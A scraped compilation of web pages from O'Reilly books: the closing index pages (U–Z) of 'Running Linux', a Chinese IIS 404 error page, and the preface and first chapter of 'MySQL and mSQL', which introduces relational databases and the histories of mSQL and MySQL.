User Datagram Protocol (UDP): 15.1.1. TCP/IP Concepts
user ID: 5.7.1. The passwd File
5.7.7. Modifying User Accounts
useradd program: 3.2.1. Creating a User Account
5.7.5. Creating Accounts
userdel command: 5.7.6. Deleting and Disabling Accounts
UserDir directive: 16.1.3.2. srm.conf
usermod command: 5.7.7. Modifying User Accounts
usernames: 5.7.1. The passwd File
users: 5.7.4. The Group File
(see also groups)
accounts: 3.2.1. Creating a User Account
4.1. Logging In
5.7. Managing User Accounts
creating/deleting: 5.7.5. Creating Accounts
backing up directories: 8.1.1. Simple Backups
for cron tasks: 8.2. Scheduling Jobs Using cron
log of those logged in: 8.3. Managing System Logs
permissions (see permissions)
root: 5.1. Running the System
5.7.1. The passwd File
/usr directory
/usr/bin directory: 4.16. Important Directories
16.2.1.4. smail EDITME file
/usr/bin/apsfilter directory: 8.4.9. Magic Filters: APSfilter and Alternatives
/usr/include directory: 4.16. Important Directories
/usr/lib directory: 4.16. Important Directories
8.1.1. Simple Backups
13.1.7. More Fun with Libraries
/usr/lib/autofs directory: 6.1.3. Automounting Devices
/usr/local directory: 4.16. Important Directories
/usr/man directories: 9.3.2.2. Formatting and installing the manual page
/usr/sbin directory: 4.16. Important Directories
/usr/src directory: 4.16. Important Directories
7.2.3. Upgrading Other Software
/usr/src/linux directory: 7.4. Building a New Kernel
8.1.1. Simple Backups
/usr/X11R6 directory: 10.3. Installing XFree86
/usr/X11R6/lib/X11 file: 4.16. Important Directories
8.1.1. Simple Backups
utmp file: 8.3. Managing System Logs
UUCP (Unix to Unix Copy): 1.5.7. Networking

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V (Running Linux)

CGI Programming with PerlSearch this book

Index: V

/var directory: 4.16. Important Directories
/var/log/lastlog file: 8.3. Managing System Logs
/var/log/messages: 15.1.3.8. Trying out your network
/var/log/utmp file: 8.3. Managing System Logs
/var/log/wtmp file: 8.3. Managing System Logs
/var/spool directory: 4.16. Important Directories
8.4.5.3. The rest of the printcap variables
8.4.10.1. Setting up printer directories
/var/spool/cron directory: 8.2. Scheduling Jobs Using cron
/var/spool/lpd directory: 9.5. Printing
/var/spool/news directory: 16.2.1.4. smail EDITME file
/var/spool/smail directory: 16.2.1.4. smail EDITME file
16.2.3.2. Mail system maintenance
variable storage address: 14.1.5. Getting Information
verbose= option (LILO): G.1. Global Options
version numbers for Linux: 1.4.1. A Note on Linux Version Numbers
7.4. Building a New Kernel
versions: 7.2. Upgrading Software
(see also upgrading software)
displaying information on: 7.4.2. Building the Kernel
vertical bar (|): 4.9. Saving Your Output
VESA monitor timings: 10.4. Configuring XFree86
VFAT filesystems/partitions: 12.1. Sharing Files
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
VFS error: 3.3.1. Problems with Booting the Installation Media
vga= boot-time option: 5.2.2.3. Specifying boot time options
vga modes: 5.2.2.1. The /etc/lilo.conf file
5.2.2.3. Specifying boot time options
vga= option: G.3. Kernel Options
VGA16 server: 10.2. Hardware Requirements
vi editor: 1.5.1. Basic Commands and Utilities
9.1. Editing Files Using vi
clones of (easier to use): 9.1. Editing Files Using vi
extending: 9.1.12. Extending vi
video cards: 1.9.5. Monitor and Video Adapter Requirements
10.2. Hardware Requirements
10.5. Filling in Video Card Information
video issues with LinuxPPC: D.6.3. LinuxPPC 4.0 and 4.1 Video Issues
ViewPort option (XF86Config): 10.4. Configuring XFree86
vim editor: 9.1. Editing Files Using vi
virtual
consoles: 4.3. Virtual Consoles
5.3.3. rc files
8.5. Setting Terminal Attributes
desktop, fvwm: 11.2. The fvwm Window Manager
devices: 8.4.11. Exercising the Printer Daemon
filesystem: 6.1.1. Filesystem Types
RAM (see swap space)
services (Samba): 12.1.3.2. Configuring Samba
Virtual option (XF86Config): 10.4. Configuring XFree86
viruses: 7.2.3. Upgrading Other Software
visible name: 16.2.1.2. Configuring a Linux-installed smail package
16.2.1.5. The mkconfig file
/vmlinux, /vmlinuz files: D.3.3. Installing BootX
5.2.1. Using a Boot Floppy
volume manager (see fdisk utility)
Vulcan nerve pinch: 3.2.4. Shutting Down the System
5.3.3. rc files
5.5. Shutting Down the System

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W (Running Linux)

CGI Programming with PerlSearch this book

Index: W

WABI (Windows Application Binary Interface): 12.2. Sharing Programs
12.2.4. Windows Emulation: Wine
Wafe language: 14.2.6. Interface Building Tools
watch command (gdb): 14.1.1. Tracing a Program
14.1.6.1. Breakpoints and watchpoints
watchpoints: 14.1.1. Tracing a Program
14.1.6.1. Breakpoints and watchpoints
what command: 14.2.7. Revision Control Tools--RCS
Whiteline Linux/68k: E.3. Distributions
whitespace: 14.2.10. Indenting Code
wildcards: 4.8. Filename Expansion
window
history: 16.1.1. Using Netscape Navigator
management: B.1.1. The Windowing System Foundation
10.1. X Concepts
11.1.1. xinit
11.2. The fvwm Window Manager
(see also fvwm window manager)
xterm (see xterm)
window managers (X Window System): 1.5.5. The X Window System
Windows emulation: 12.2.4. Windows Emulation: Wine
Windows operating systems
accessing Unix from (see Samba)
installing Linux with: 2.2.1. Installation Overview
Linux versus: 1.8.2. Linux Versus Windows 95 and 98
Windows 98: 5.2.2. Using LILO
5.2.2.1. The /etc/lilo.conf file
Windows NT: 5.2.2. Using LILO
5.2.2.2. Using LILO as a secondary boot loader
Wine emulator: 1.5.9. Interfacing with Windows and MS-DOS
Windows partitions (shares): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
mounting: 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
MTools for DOS partitions: 12.1.4. Utilities for Accessing DOS Filesystems: MTools
serving: 12.1.3. Using Samba to Serve SMB Shares
sharing files with Linux: 12.1. Sharing Files
accessing Windows files: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
file translation utilities: 12.1.5. File Translation Utilities
sharing programs with Linux: 12.2. Sharing Programs
Wine emulator: 1.5.9. Interfacing with Windows and MS-DOS
12.2. Sharing Programs
12.2.4. Windows Emulation: Wine
Winmodem modem: 15.2.1.1. Requirements
wish interpreter: 13.5. Programming in Tcl and Tk
13.5.3. Using Tcl and Tk in Other Applications
word completion: 4.7.1. Word Completion
word processing: 1.5.2. Text Processing and Word Processing
1.5.2. Text Processing and Word Processing
9.3.4. Word Processors
AbiWord application: B.4. Some GNOME Applications
WordPerfect: 1.5.3. Commercial Applications
9.3.4. Word Processors
12.1.5. File Translation Utilities
workspaces, KDE: 11.3.2. Using KDE
World Wide Web: 1.5.7. Networking
16.1. The World Wide Web
configuring server: 16.1.3. Configuring Your Own WWW Server
documentation available on: 1.10.1. Online Documents
interactive forms: 16.1.5. Building Interactive Forms
writing HTML documents: 16.1.4. Writing HTML Documents
write permission (see permissions)
writing manual pages: 9.3.2.1. Writing a manual page
"wrong fs type" error: 6.1.2. Mounting Filesystems
wtmp file: 8.3. Managing System Logs
WYSIWYG processors: 1.5.2. Text Processing and Word Processing
9.3.4. Word Processors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X (Running Linux)

CGI Programming with PerlSearch this book

Index: X

x command (gdb): 14.1.4. Changing and Examining Data
X11 software: B.1.1. The Windowing System Foundation
X Window System: 1.5.5. The X Window System
10. Installing the X Window System
applications for: 11.4. X Applications
running on KDE: 11.3.2. Using KDE
behind-the-scenes functionality: B.1.1. The Windowing System Foundation
clock: 11.4.6. Clocks
customizing environment: 11. Customizing Your X Environment
Emacs and: 9.2. The Emacs Editor
11.4.7. Emacs
FTP site for: A.4. General Software FTP Sites
interface building tools: 14.2.6. Interface Building Tools
Linux/m86k and: E.4.3. The X Window System
Linux/SPARC and: F.3.1. Graphics and X
make xconfig program: 7.4.2. Building the Kernel
manual pages and: 11.4.9. xman: A Point-and-Click Interface to Manual Pages
previewing TeX documents: 9.3.1.2. Formatting and printing
resources: 11.1.2. The X Resource Database
servers: 10.1. X Concepts
10.3. Installing XFree86
Tk scripts and: 13.5. Programming in Tcl and Tk
troubleshooting: 10.7. Running Into Trouble
Wine emulator: 1.5.9. Interfacing with Windows and MS-DOS
Xaw3D toolkit: 14.2.6. Interface Building Tools
xclock program: 11.4.6. Clocks
xdos emulator: 12.2.1. DOS Emulators: Dosemu and xdos
xdvi utility: 1.5.2. Text Processing and Word Processing
8.4.4. Checking Print Utilities
XEmacs text editor: 9.2. The Emacs Editor
Xenix filesystem: 6.1.1. Filesystem Types
XF86Config program: 10.4. Configuring XFree86
options for: 10.4. Configuring XFree86
xfd command: 11.4.5. Choosing Fonts
xfontsel utility: 11.4.5. Choosing Fonts
XFree86: A.4. General Software FTP Sites
1.5.5. The X Window System
10. Installing the X Window System
10.6. Running XFree86
configuring: 10.4. Configuring XFree86
installing: 10.3. Installing XFree86
XF86Setup program: 10.4. Configuring XFree86
xinit program: 10.6. Running XFree86
11.1.1. xinit
.xinitrc file: 4.15. Startup Files
10.6. Running XFree86
11.4.2. Starting up xterm
X resources: 11.1.2. The X Resource Database
xlsfonts command: 11.4.5. Choosing Fonts
xman program: 4.12. Manual Pages
11.4.9. xman: A Point-and-Click Interface to Manual Pages
XML (Extensible Markup Language): B.5.1.3. XML/DOM libraries
xmodmap command: 9.2.8. Tailoring Emacs
XPM file format: 12.1.5. File Translation Utilities
X11R6: 10. Installing the X Window System
XT bus system: 8.4.14. Printer System Troubleshooting
XT disk controllers: 7.4.2. Building the Kernel
xterm: 11.4.1. xterm: Your Home Base
xtp utility (ImageMagick): 9.4.1. ImageMagick
xtpanel utility: 14.2.6. Interface Building Tools
xvidtune program: 10.4. Configuring XFree86
XView interface: 14.2.6. Interface Building Tools
xxgdb debugger: 14.2.1. Debuggers

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y (Running Linux)

CGI Programming with PerlSearch this book

Index: Y

yanking text (see cutting and pasting)
Yellow Pages (YP) (see NIS)
yp.conf file: 15.4.2. Configuring NIS
ypwhich command: 15.4.2. Configuring NIS

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z (Running Linux)

CGI Programming with PerlSearch this book

Index: Z

zcat command: 7.1.1. Using gzip and bzip2
ZIP drives: 1.9.6.3. Tape drives and removable storage
Zmodem: H. Zmodem File Transfer
zsh (Z shell): 4.5. Shells

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


无法找到网页
您正在搜索的网页可能已经删除、更名或暂时不可用。

请尝试下列操作：

  • 如果您在“地址”栏中键入了网页地址，请检查其拼写是否正确。
  • 打开 主页，寻找指向所需信息的链接。
  • 单击后退按钮尝试其他链接。

HTTP 404 - 无法找到文件
Internet 信息服务

技术信息（支持个人）

  • 详细信息：
    Microsoft 支持


Preface (MySQL & mSQL)

 MySQL and mSQLSearch this book

Preface

In the world of computing, the 1990s may rightly be called the decade of Open Source software. From Linux to Perl, from palmtop to mainframe, the Open Source movement has left a mark in practically every niche of technology. This impact is especially strong in the commercially neglected world of mid-range server applications commonly needed by nonprofit organizations and small businesses.

The idea of mid-range servers was fairly rare in the first few decades of the computer age. Computers were expensive items used by large institutions such as banks and universities. Enormous time-sharing servers provided the computing power for entire companies. Much of the software running on these systems was as monolithic as the servers themselves. After all, because only one computer was serving several departments -- if not the whole organization -- that computer had to fulfill everyone's needs.

At the other end of the spectrum was the personal computer. With the PC revolution, you could find one computer for every household instead of one computer for an entire company. While these computers were easily powerful enough to satisfy the needs of a single user, a wide gulf still existed between the capabilities -- and the costs -- of personal computing and corporate computing.

The area where this gulf was most apparent was in data management. Database applications for large mainframe servers included every feature possible. Because of the multipurpose nature of this software, if any odd feature was needed by a single user, it was included. Database applications that satisfied those data management needs of the individual user emerged. However, where mainframe databases were too massive for mid-range needs, personal databases were too narrow.

In the first half of the 1990s, the "lowly" personal computer had advanced to the point where it was actually more powerful than the mainframe computers of yesteryear. While hardware was no longer a barrier to mid-range computing, the lack of affordable software was. To meet the data storage needs of a nonprofit organization or small business, you needed an affordable server operating system and an affordable database management system. The introduction of cheap and powerful server operating systems like FreeBSD and Linux helped solve the operating system side of that equation.

MySQL and mSQL are two solutions that solve the database management side of the equation. They are powerful and flexible while at the same time lightweight and efficient. MySQL, in particular, packs a large feature set into a very small and fast engine. While neither database engine has anywhere near the full feature set of expensive corporate databases, they easily have enough of a feature set to meet the needs of mid-range database management.

0.1. Audience

This book is primarily for two classes of readers. The most obvious is the reader interested in using MySQL and mSQL from either a database administration perspective or from a database programmer perspective. In addition, anyone who wants to learn about relational database administration and programming without paying out the nose for a license from one of the big guys will find MySQL or mSQL an excellent starting point. If MySQL or mSQL is your starting point, then this book is your guide.

From a database administrator's perspective, we cover the basic methods of creating and managing databases and tables in MySQL and mSQL. We go beyond the simple and provide performance tuning and troubleshooting tips to help you make sure your MySQL and mSQL applications are running their best. Finally, all of the tools that come with MySQL and mSQL are covered in detail. We assume no prior knowledge of SQL or relational databases.

Database programmers will find that we have covered all of the major programming interfaces from the most popular client/server and web programming languages. When we cover the interface for a particular language, we assume that the reader has a basic grasp of the language in question. For example, in the Java [image] chapter, we assume that the reader knows how to write basic Java applications and now wants to learn how to make those Java applications talk to a MySQL or mSQL database.

The immense popularity of MySQL and mSQL on the Web has made it natural to provide a focus on CGI programming with MySQL and mSQL. Web developers should therefore find this book useful in describing how to drive their web sites with a MySQL or mSQL database. For these chapters, very little CGI knowledge is needed, but we still assume that the reader is familiar with the basics of the programming language in question.

Previous | Home | Next
Copyright Page | Book Index | 0.2. Purpose
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Purpose (MySQL & mSQL)

 MySQL and mSQLSearch this book

0.2. Purpose

At first glance, the purpose of this book seems obvious: MySQL and mSQL are two of the most popular applications offering public source code. They offer the practical advantages of Open Source software even through their licenses are a bit too restrictive for the Open Source mark. For anyone who has spent a significant amount of time learning MySQL or mSQL, the answer is a little more complex.

One of the biggest complaints about Open Source projects is almost always the lack of comprehensive and comprehensible documentation. In the case of MySQL and mSQL, however, lack of online documentation is rarely a problem.

MySQL has a wonderfully complete and free online reference manual available from the web site at http://www.mysql.com. This manual covers the full MySQL SQL syntax, installation, and its C API, as well as database administration and performance tuning. Similarly, mSQL has a good, if less comprehensive, online manual at http://www.hughes.com.au.

To make matters even more complex, MySQL and mSQL are both moving targets because of rapid development. In the case of MySQL, "moving target" is a euphemism. Thanks mainly to the efforts of Michael "Monty" Widenius, MySQL is a target moving about as fast as a freight train. So be prepared, you may find some of the information in this book either ahead of older versions or behind newer versions.

But wait! Don't put this book back on the shelf just yet. We knew about all of these issues before we tackled the task of writing this book. One major reason made a book on this topic not only justified, but essential. The worlds of MySQL and mSQL are not limited to a couple of database engines. Because of the degree to which they have been embraced by the Open Source community, MySQL and mSQL also encompass a host of tools for managing and programming applications for these databases. The purpose of this book is therefore to provide a single, definitive guide to these database engines and the world of APIs and tools used to build end-to-end database solutions. Anyways, a book is much easier to read in the bathroom or on a plane than online documentation.

Previous | Home | Next
0. Preface | Book Index | 0.3. Using This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (MySQL & mSQL)

 MySQL and mSQLSearch this book

0.7. Acknowledgments

The authors would first like to thank their editor Andy Oram for both his skill at making our work look more professional and for the less obvious and likely less enjoyable task of putting us back on focus when our minds would wander.

We also owe a huge debt of gratitude to those who provided us with a critical look at the book. Anyone familiar with MySQL knows the name Michael Widenius, the head of the MySQL project. He and another member of the MySQL team, Paul DuBois, sent in many valuable comments. Brian Jepson, one of the authors of the Official Guide to Mini SQL (John Wiley & Sons, Inc.), kindly offered us valuable input on our mSQL coverage. Finally, Glenn MacGregor and Michael Schecter provided useful comments on the book overall.

0.7.1. From Randy Yarger

I would like to thank my fiancée, Stacie Sheldon, for the support and love that has kept me sane. I would also like to thank Andy Oram for encouraging a relatively unknown author. Finally, but definitely not lastly, I would like to thank the ones that made it possible for me to be here, my mother, my father, and my creator.

0.7.2. From George Reese

I would specifically like to thank Monique Girgis for using her professional proof-reading abilities on each one of my chapters. Leigh Caldwell also provided some critical eleventh-hour feedback on the last version of the MySQL chapters. Finally, I have to mention my cats, Misty, Gypsy, and Tia.

0.7.3. From Tim King

I wish to acknowledge Professor John Carlis for getting me interested in database technology and data modeling in the first place; Mark Kale for teaching me more about it than I ever learned in college; the lovely Ann Soter for her moral support and patience; and my mother and father for encouraging my interest in computers before it was cool to be a geek!

Previous | Home | Next
0.6. Comments and Questions | Book Index | I. Getting Started with MySQL and mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction to Relational Databases (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 1. Introduction to Relational Databases

Contents:

What Is a Database?
What Is a Relational Database?
Applications and Databases
MySQL and mSQL

Large corporate computing shops have been using complex and expensive database products for years. These full-featured, heavily optimized software systems are the only way for a big organization to manage its volumes of corporate information.

Home computer users haven't traditionally needed database products at all. They house their data -- addresses, to-do lists, etc. -- on their systems in small files or in specialized, off-the-shelf spreadsheet and phone book applications.

A new category of computer users who falls in between these two extremes has come into play. These persons maintain moderate-sized information sets required for small organizations, such as new businesses or nonprofit organizations. Alternatively, such users may not be just small, but instead may be a geographically isolated part of a larger company. Or the new kind of users might simply be individuals interested in maintaining complex, but personal data, such as a list of songs, from favorite bands, that can be served up on a personal web page. If you are the kind of person who wants a database, who is willing to do some work to set one up, but who does not want to spend six figures on a product and a fleet of programmers to maintain it, this book is for you.

This book introduces you to the world of small-scale database development through two popular database products, MySQL and mSQL. We start by introducing you to relational databases and application design in the relational world. If you have experience with relational databases and database design, you can skip on to Chapter 4, "MySQL", or Chapter 5, "mSQL", where we dive into the details of getting up and running with MySQL and mSQL. If you do skip on, you should note that we do provide a brief introduction and comparison of the two engines at the end of this chapter. The rest of the book -- the vast majority of it -- covers the use of MySQL and mSQL to build and support the type of applications important to users like you.

1.1. What Is a Database?

A database is, simply put, a collection of data. An example of a nonelectronic database is the public library. The library stores books, periodicals, and other documents. When you need to locate some data at the library, you search through the card catalog or the periodicals index, or maybe you even ask the librarian. Another similar example is the unsorted pile of papers you might find on your desk. When you need to find something, you rifle through the stack until you find the scrap of paper you are looking for. This database works (or maybe it doesn't) because the size of the database is incredibly small. A stack of papers certainly would not work with a larger set of data, such as the collections in the library. In the library, without the card catalog, periodicals index, and librarian, the library would still be a database; it would just be an unusable database. A database therefore generally requires some sort of organization to be of value. Your pile of papers would be much more reliable if you had some sort of filing system (then maybe you would not have lost that phone number!). So, restating our definition, we will define a database as an organized collection of data.

The library and the stack of papers have many similarities. They are both databases of documents. It makes no sense, however, to combine them because your papers are only interesting to you and the library contains documents of general interest. Both databases have a specific purpose and they are organized according to that purpose. We will therefore amend our definition a bit further: a database is a collection of data that is organized and stored according to some purpose.

Traditional paper-based databases have many disadvantages. They require a tremendous amount of physical space. Libraries occupy entire buildings and searching a library is relatively slow. Anyone who has spent time in a library knows that it can consume a nontrivial amount of time to find the information you seek. Libraries are also tedious to maintain and an inordinate amount of time is spent keeping the catalogs and shelves consistent. Electronic storage of a database helps to address these issues.

MySQL and mSQL are not databases. They are actually computer software that enable a user to create, maintain, and manage electronic databases. This category of software is known as a Database Management System (DBMS). A DBMS acts as a broker between the physical database and the users of that database.

When you first began managing electronic information, you almost certainly used a flat file. The file system file is the electronic version of the pile of papers on your desk. You likely came to the conclusion that this sort of ad hoc electronic database didn't meet your needs any more. A DBMS is the logical next step for your database needs, and MySQL and mSQL are the first stepping stones into the world of relational database management systems.

Previous | Home | Next
I. Getting Started with MySQL and mSQL | Book Index | 1.2. What Is a Relational Database?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


What Is a Relational Database? (MySQL & mSQL)

 MySQL and mSQLSearch this book

1.2. What Is a Relational Database?

According to our definition, a database is an organized collection of data. A relational database organizes data into tables. It is probably easier to illustrate the concept of a table than try to explain it. Table 1-1 is an example of a table that might appear in a book database.

Table 1-1. A Table of Books

ISBN | Title | Author
0-446-67424-9 | L.A. Confidential | James Ellroy
0-201-54239-X | An Introduction to Database Systems | C.J. Date
0-87685-086-7 | Post Office | Charles Bukowski
0-941423-38-7 | The Man with the Golden Arm | Nelson Algren

Table 1-2 and Table 1-3 demonstrate two tables that might appear in an NBA database.

Table 1-2. A Table of NBA Teams

Team # | Name | Coach
1 | Golden State Warriors | P.J. Carlesimo
2 | Minnesota Timberwolves | Flip Saunders
3 | L.A. Lakers | Kurt Rambis
4 | Indiana Pacers | Larry Bird

Table 1-3. A Table of NBA Players

Name | Position | Team #
Rik Smits | Center | 4
Kevin Garnett | Forward | 2
Kobe Bryant | Guard | 3
Reggie Miller | Guard | 4
Stephon Marbury | Guard | 2
Shaquille O'Neal | Center | 3

We'll get into the specifics about tables later on, but you should note a few things about these examples. Each table has a name, several columns, and rows containing data for each of the columns. A relational database represents all of your data in tables just like this and provides you with retrieval operations that generate new tables from existing ones. As a result, the user sees the entire database in the form of tables.

A DBMS for a relational system is often called a Relational Database Management System (RDBMS). MySQL and mSQL are both examples of an RDBMS.

Where does SQL fit into all of this? We need some way to interact with the database. We need to define tables and retrieve, add, update, or delete data. SQL (Structured Query Language) is a computer language used to express database operations for data organized in a relational form (e.g., in tables). SQL is the industry standard language that most database programmers speak, and it is used by most RDBMS packages. As their names indicate, MySQL and mSQL are both SQL database engines. Due to their simplicity, however, they only support a subset of the current SQL standard, SQL2. We will discuss exactly how MySQL and mSQL support for SQL differs from the standard in later chapters.

Previous | Home | Next
1. Introduction to Relational Databases | Book Index | 1.3. Applications and Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Applications and Databases (MySQL & mSQL)

 MySQL and mSQLSearch this book

1.3. Applications and Databases

According to our definition of a database, a database is an organized collection of data that serves some purpose. Just having a DBMS is not sufficient to give your database purpose. How you use your data defines its purpose. Imagine a library where nobody ever reads the books. There would not be much point in storing and organizing all of those books if they were never used. Now, imagine a library where you could not change or add to the collection. The utility of the library as a database would decrease over time since obsolete books could never be replaced and new books could never be added. In short, a library exists so that people may read the books and find the information they seek.

Databases exist so that people can interact with them. In the case of electronic databases, the interaction occurs not directly with the database, but instead indirectly through software applications. Before the emergence of the World Wide Web, databases typically were used by large corporations to support various business functions: accounting and financials, shipping and inventory control, manufacturing planning, human resources, and so on. The web and more complex home computing tasks have helped move the need for database applications outside the realm of the large corporation.

1.3.1. Databases and the Web

The area in which databases have experienced the most explosive growth -- an area where MySQL and mSQL excel -- is in web application development. As the demand for more complex and robust web applications grows, so does the need for databases. A database backend can support many critical functions on the web. Virtually any web content can be driven by a database.

Consider the example of a catalog retailer who would like to publish on the web and accept orders online. If the catalog were published as HTML files, someone would have to hand edit the catalog each time a new item was added or a price changed. If the catalog information were instead stored in a relational database, it would be possible to publish real time catalog updates simply by changing the product or price data in the database. It would also become possible to integrate the online catalog with existing electronic order processing systems. Using a database to drive such a web site thus has obvious advantages for both the retailer and the customer.

Here's how a web page typically interacts with a database. The database is on your web server or another machine that your server can talk to (a good DBMS makes this kind of distributed responsibility easy). You put a form on one web page that the user fills in with a query or data to submit. When the form's query is sent to your server, it runs a program that you write that extracts the data submitted by the user. These programs most often come in the form of CGI scripts and Java servlets, but can also occur by embedding programming right inside the HTML page. We will look at all of these methods in this book.

Now your program knows what the user is asking for or wishes to add to the database. The program issues an SQL query or update, and the database magically takes care of the rest. Any results obtained from the database can be formatted by your program into a new HTML page to send back to the user.

Previous | Home | Next
1.2. What Is a Relational Database? | Book Index | 1.4. MySQL and mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


MySQL and mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

1.4. MySQL and mSQL

MySQL and mSQL are very similar, cheap, lightweight, and fast databases. This book covers both databases due to their overwhelming similarity. They are, however, different in very important ways and we will be sure to cover those differences as well. Both systems support C, Perl, Java (via Java DataBase Connectivity API [JDBC]), and Python programming. With the tools MySQL and mSQL provide these languages, it is possible to create full-blown client/server applications and database-integrated web sites and not spend a fortune. This is great news for the small web publisher or for anyone developing small-scale client/server applications who cannot afford to purchase one of the commercially available products.

The inexpensive -- in some cases, free -- nature of MySQL and mSQL does not come cost free. Neither DBMS supports the full range of SQL. These engines lack some features that may be required by more complex applications. For some applications you also have to work a little harder on the client side to meet needs that you get for free from expensive database engines. We will, however, teach you how to build portable MySQL and mSQL applications so that you have the option to try out more heavy-weight database engines when your needs demand them -- you won't have to make a ton of changes to migrate to a big-time database. In order to understand what these two engines have to offer, it is best to take a brief look at their histories.

1.4.1. The History of mSQL

Before 1994, you were out of luck if you wanted a SQL-based RDBMS without paying large sums of money. The dominant commercial SQL solutions were Oracle, Sybase, and Informix. These database engines were designed to handle tremendous amounts of data with very complex relationships. They were powerful and full of features -- and very resource intensive and expensive. In those days, you could not buy a $2,000 200 MHz Pentium server. The resources required by these database engines cost tens of thousands of dollars.

Large corporations and major universities had no problem spending millions of dollars per year on these large DBMS/server combinations. As a small organization or individual user, however, you had to settle for weak desktop database programs. A few cheap client/server database engines did exist at that time, but none of them used SQL as their query language. The most notable of these database engines was Postgres, which was a DBMS descended from the same roots as the commercial Ingres RDBMS. Postgres, unfortunately, came with similar resource requirements as its commercial counterparts without the advantage of SQL as a query language. At the time, postgres used a variant of the QUEL language called PostQUEL.

1.4.1.1. David Hughes

As part of his Ph.D. thesis at Bond University in Australia, David Hughes (a.k.a. Bambi) was developing a system of monitoring and managing a variety of systems from one or more locations. This project was called the Minerva Network Management System. A key piece of Minerva was a DBMS for storing information about the machines on the network. As a university student without direct access to a server running one of the major commercial relational database engines, Hughes looked to Postgres as the obvious solution to his database needs.

Hughes' colleagues initially suggested that SQL should be the standard query language for Minerva. After all, SQL was -- and still is -- the most overwhelmingly accepted standard for a query language. By standardizing on SQL, Minerva could serve the needs of people all over the world just as long as they had some type of SQL DBMS installed. In other words, SQL exposed Minerva to a much wider audience than PostQUEL, which was limited to Postgres. As it turns out, today even Postgres speaks SQL.

The tug-of-war between the SQL standard and access to a SQL database engine left Hughes in a bind. If he based Minerva's query language on SQL, he would have no database engine. Because buying a multithousand dollar RDBMS was not an option, Hughes took a creative approach to the problem. He decided the solution was to create an application that could translate SQL into PostQUEL on the fly. This program would intercept all SQL statements sent from Minerva, convert them to PostQUEL, and then send the PostQUEL on to Postgres. Hughes created this product and named it miniSQL, or mSQL.

1.4.1.2. From PostQUEL translator to RDBMS

For a while, this configuration worked well for Hughes' needs. The Minerva system did not care what DBMS was in use so long as it understood SQL. As far as Minerva knew, Postgres did understand SQL because mSQL was there in the middle to handle PostQUEL translation. Unfortunately, as Minerva grew bigger, it also grew significantly slower. It eventually became clear that Postgres -- or any other huge RDBMS -- was not capable of supporting the small feature set demanded by Minerva in the limited resources available to Minerva. For example, Minerva required multiple simultaneous database connections. In order to support this, Postgres required multiple instances[2] of the database server to be running at the same time. In addition, several potential contributors to the Minerva project could not get involved because Postgres did not support their systems and they, too, did not have the option of purchasing an expensive SQL-based DBMS.

[2]Each process running the same program is called an instance of that program, because it occupies memory just as an instance of a variable takes up a program's memeory.

In the face of these problems, Hughes reevaluated his decision to use Postgres. As large and complex as it was, it was likely too complex for Minerva's needs. Most of Minerva's queries were simple INSERT, DELETE, and SELECT statements. All of the other stuff that cost Postgres in terms of performance simply was not required by Minerva.

Hughes already had mSQL doing SQL translation. He only needed to add data storage and retrieval capabilities to it and he had a database server that met his needs. This evolution led to the mSQL to that exists today.

1.4.2. The History of MySQL

It would be a mistake to characterize MySQL as a simple reaction to mSQL's failures. Its inventor, Michael Widenius (a.k.a. Monty) at the Swedish company TcX, has been working with databases since 1979. Until recently, Widenius was the only developer at TcX. In 1979, he developed an in-house database tool called UNIREG for managing databases. Since 1979, UNIREG has been rewritten in several different languages and extended to handle big databases.

In 1994, TcX began developing web-based applications and used UNIREG to support this effort. Unfortunately, UNIREG created too much overhead to be successful in dynamically generating web pages. TcX began looking at SQL and mSQL. At that time, however, mSQL was still in its 1.x releases. As we mentioned, mSQL 1.x did not support any indices. mSQL's performance was therefore poor in comparison to UNIREG.

Widenius contacted David Hughes -- the author of mSQL -- to see if Hughes would be interested in connecting mSQL to UNIREG's B+ ISAM handler. Hughes was already well on his way to mSQL 2, however, and already had his indexing infrastructure in place. TcX decided to create a database server that was more compatible with its requirements.

TcX was smart enough not to try to reinvent the wheel. It built upon UNIREG and capitalized on the growing number of third party mSQL utilities by writing an API into its system that was, at least initially, practically identical to the mSQL API. As a result, an mSQL user who wanted to move to the TcX more feature-rich database server would only have to make trivial changes to any existing code. The code supporting this new database, however, was completely original.

By May 1995, TcX had a database that met its internal needs -- MySQL 1.0. A business partner, David Axmark at Detron HB, began pressing TcX to release this server on the Internet. The goal of an Internet release would be to use a business model pioneered by Aladdin Peter Deutsch. The result was a very flexible copyright that makes MySQL "more free" than mSQL.

